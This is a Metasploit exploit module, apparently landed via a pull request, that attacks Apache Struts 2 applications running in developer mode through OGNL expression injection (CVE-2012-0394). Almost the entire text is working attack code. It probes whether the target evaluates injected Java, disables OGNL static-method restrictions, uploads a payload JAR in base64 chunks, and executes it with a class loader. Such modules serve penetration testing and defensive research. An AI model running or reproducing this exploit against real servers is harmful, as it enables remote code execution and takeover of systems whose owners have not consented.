Land #2921 - Apache Struts Developer Mode OGNL Execution
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sinn3r
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts Developer Mode OGNL Execution',
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'Description' => %q{
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This module exploits a remote command execution vulnerability in Apache
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Struts 2. The problem exists on applications running in developer mode,
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where the DebuggingInterceptor allows evaluation and execution of OGNL
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expressions, which allows remote attackers to execute arbitrary Java
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code. This module has been tested successfully in Struts 2.3.16, Tomcat
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7 and Ubuntu 10.04.
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},
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'Author' =>
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[
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'Johannes Dahse', # Vulnerability discovery and PoC
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'Andreas Nusser', # Vulnerability discovery and PoC
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'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-0394'],
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[ 'OSVDB', '78276'],
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[ 'EDB', '18329'],
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[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
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[ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
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],
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'Platform' => 'java',
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'Arch' => ARCH_JAVA,
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'Targets' =>
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[
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[ 'Struts 2', { } ]
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],
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'DisclosureDate' => 'Jan 06 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
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], self.class)
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end
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def check
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vprint_status("Testing to see if the target can evaluate our Java code...")
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addend_one = rand_text_numeric(rand(3) + 1).to_i
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addend_two = rand_text_numeric(rand(3) + 1).to_i
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sum = addend_one + addend_two
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res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")
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if res and res.code == 200 and res.body.to_i == sum
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return Exploit::CheckCode::Vulnerable
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end
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if res and res.code == 200 and res.body.to_s =~ /#{sum}/
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vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
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vprint_line(res.body.to_s)
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return Exploit::CheckCode::Appears
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end
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return CheckCode::Safe
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end
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def exploit
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@payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"
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upload_jar
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execute_jar
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end
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def upload_jar
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append = 'false'
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jar = payload.encoded_jar.pack
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chunk_length = 384 # 512 bytes when base64 encoded
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while(jar.length > chunk_length)
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java_upload_part(jar[0, chunk_length], @payload_jar, append)
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jar = jar[chunk_length, jar.length - chunk_length]
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append='true'
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end
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java_upload_part(jar, @payload_jar, append)
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end
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def java_upload_part(part, filename, append = 'false')
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cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
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cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
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cmd << "#f.close()"
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execute_command(cmd)
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end
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def execute_jar
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cmd = ""
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# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
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cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
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cmd << "#q.setAccessible(true),#q.set(null,true),"
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cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
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cmd << "#q.setAccessible(true),#q.set(null,false),"
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# create classloader
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cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
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# load class
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cmd << "#c=#cl.loadClass('metasploit.Payload'),"
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# invoke main method
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cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
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cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
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execute_command(cmd)
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end
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def execute_command(cmd)
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injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
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injection.gsub!(/CMD/, cmd)
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vprint_status("Attempting to execute: #{cmd}")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path.to_s),
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'method' => 'GET',
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'vars_get' =>
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{
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'debug' => 'command',
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'expression' => injection
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}
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})
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return res
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end
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end
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